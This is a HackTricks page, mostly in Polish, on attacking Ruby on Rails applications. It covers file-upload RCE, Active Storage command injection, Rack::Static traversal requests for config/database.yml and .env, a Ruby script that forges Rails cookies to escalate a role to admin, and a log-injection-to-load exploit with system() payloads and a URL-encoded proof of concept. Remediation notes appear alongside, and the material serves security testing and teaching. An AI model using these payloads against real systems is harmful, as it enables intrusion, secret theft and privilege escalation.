Ruby Tricks
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
File upload to RCE
Jak wyjaśniono w this article, wgrywanie pliku .rb
do wrażliwych katalogów takich jak config/initializers/
może prowadzić do remote code execution (RCE) w aplikacjach Ruby on Rails.
Tips:
- Inne lokalizacje ładowane przy starcie aplikacji (boot/eager-load), które są wykonywane na starcie aplikacji, także są ryzykowne, jeśli są writeable (np.
config/initializers/
to klasyczny przykład). Jeśli znajdziesz dowolny upload pliku, który trafia gdziekolwiek podconfig/
i jest później evaluated/required, możesz uzyskać RCE przy starcie. - Szukaj dev/staging buildów, które kopiują pliki kontrolowane przez użytkownika do container image, gdzie Rails załaduje je przy boot.
Active Storage image transformation → command execution (CVE-2025-24293)
Kiedy aplikacja używa Active Storage z image_processing
+ mini_magick
, i przekazuje nieufne parametry do metod transformacji obrazów, Rails w wersjach przed 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mógł pozwalać na command injection, ponieważ niektóre metody transformacji były błędnie dozwolone domyślnie.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
gdzie params[:t]
i/lub params[:v]
są kontrolowane przez atakującego.
-
What to try during testing
-
Zidentyfikuj endpointy, które akceptują opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick.
-
Fuzz
params[:t]
iparams[:v]
w poszukiwaniu podejrzanych błędów lub efektów ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty docierające do MiniMagick, możesz uzyskać code exec na hoście przetwarzającym obrazy. -
Jeśli masz tylko read-access do wygenerowanych variants, spróbuj blind exfiltration przez spreparowane operacje ImageMagick.
-
Remediation/detections
-
Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage +
image_processing
+mini_magick
i transformacjami kontrolowanymi przez użytkownika, uznaj to za eksploatowalne. Zalecane jest uaktualnienie oraz wymuszenie ścisłych allowlists dla metod/parametrów oraz wzmocniona polityka ImageMagick.
Rack::Static LFI / path traversal (CVE-2025-27610)
Jeśli target stack używa Rack middleware bezpośrednio lub przez frameworki, wersje rack
przed 2.2.13, 3.0.14 i 3.1.12 pozwalają na Local File Inclusion via Rack::Static
gdy :root
jest unset/misconfigured. Zakodowany traversal w PATH_INFO
może ujawnić pliki pod katalogiem roboczym procesu lub nieoczekiwanym rootem.
- Hunt for apps that mount
Rack::Static
inconfig.ru
or middleware stacks. Try encoded traversals against static paths, for example:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Dopasuj prefix do skonfigurowanych urls:
. Jeśli aplikacja odpowiada zawartością pliku, najprawdopodobniej masz LFI do wszystkiego pod rozstrzygniętym :root
.
- Mitigation: upgrade Rack; ensure
:root
only points to a directory of public files and is explicitly set.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails szyfruje i podpisuje cookies używając kluczy pochodzących z secret_key_base
. If that value leaks (np. w repo, logach lub błędnie skonfigurowanych credentials), zazwyczaj możesz odszyfrować, zmodyfikować i ponownie zaszyfrować cookies. To często prowadzi do authz bypass jeśli aplikacja przechowuje role, user IDs lub feature flags w cookies.
Minimalny kod Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Uwagi:
- Starsze aplikacje mogą używać AES-256-CBC i soli
encrypted cookie
/signed encrypted cookie
, albo serializerów JSON/Marshal. Dostosuj sole, szyfr i serializer odpowiednio. - W przypadku kompromitacji/oceny, obróć
secret_key_base
, aby unieważnić wszystkie istniejące cookies.
Zobacz także (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
Gdy aplikacja (często prosty endpoint Rack/Sinatra/Rails) spełnia oba warunki:
- loguje ciąg sterowany przez użytkownika dosłownie, oraz
- później
load
uje plik, którego ścieżka jest wyprowadzona z tego samego ciągu (poPathname#cleanpath
),
Często można osiągnąć RCE, zatruwając log i następnie zmuszając aplikację do load
owania pliku z logiem. Kluczowe prymitywy:
- Ruby
load
wykonuje zawartość docelowego pliku jako Ruby, niezależnie od rozszerzenia pliku. Każdy czytelny plik tekstowy, którego zawartość da się sparsować jako Ruby, zostanie wykonany. Pathname#cleanpath
redukuje segmenty.
i..
bez odwołań do systemu plików, umożliwiając path smuggling: sterowany przez atakującego junk może być dopisany na początku do logowania, podczas gdy oczyszczona ścieżka nadal rozwiązuje się do zamierzonego pliku do wykonania (np.../logs/error.log
).
Minimalny wzorzec podatności
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Dlaczego log może zawierać poprawny Ruby
Logger
zapisuje linie prefiksu takie jak:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
W Ruby #
rozpoczyna komentarz, a 9/2/2025
to po prostu działanie arytmetyczne. Aby wstrzyknąć prawidłowy kod Ruby musisz:
- Rozpocząć swój payload na nowej linii, aby nie był skomentowany przez
#
w linii INFO; wyślij wiodący znak nowej linii (\n
lub%0A
). - Zamknąć wiszący
[
wprowadzony przez linię INFO. Powszechnym trikiem jest rozpoczęcie od]
i opcjonalnie zadowolenie parsera przez][0]=1
. - Następnie umieścić dowolny kod Ruby (np.
system(...)
).
Przykład tego, co znajdzie się w logu po jednym żądaniu z przygotowanym parametrem:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Przemycanie pojedynczego ciągu, który jednocześnie loguje kod i rozwiązuje się do ścieżki loga
Chcemy pojedynczego ciągu kontrolowanego przez atakującego, który:
- gdy zostanie zalogowany w surowej postaci, zawiera nasz Ruby payload, oraz
- po przejściu przez
Pathname.new(<input>).cleanpath
rozwiązuje się do../logs/error.log
, więc następneload
wykona właśnie zatruty plik logu.
Pathname#cleanpath
ignoruje schemes i redukuje traversal components, więc poniższe działa:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Znak
#
przed://
powoduje, że Ruby ignoruje końcówkę podczas wykonywania logu, podczas gdycleanpath
nadal redukuje sufiks do../logs/error.log
. - Prowadzący znak nowej linii powoduje przerwanie linii INFO;
]
zamyka wiszący nawias;][0]=1
spełnia wymagania parsera.
End-to-end exploitation
- Wyślij następujące jako nazwę skryptu kopii zapasowej (jeśli trzeba, zakoduj pierwszy znak nowej linii jako
%0A
):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Aplikacja zapisuje twój surowy ciąg do
logs/error.log
. - Aplikacja oblicza
cleanpath
, który rozwiązuje się do../logs/error.log
i wywołujeload
na nim. - Ruby wykonuje kod, który wstrzyknięto do logu.
Aby wykonać eksfiltrację pliku w środowisku typu CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (pierwszy znak to nowa linia):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Źródła
- Ogłoszenie bezpieczeństwa Rails: CVE-2025-24293 Active Storage unsafe transformation methods (naprawione w 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Biuletyn GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.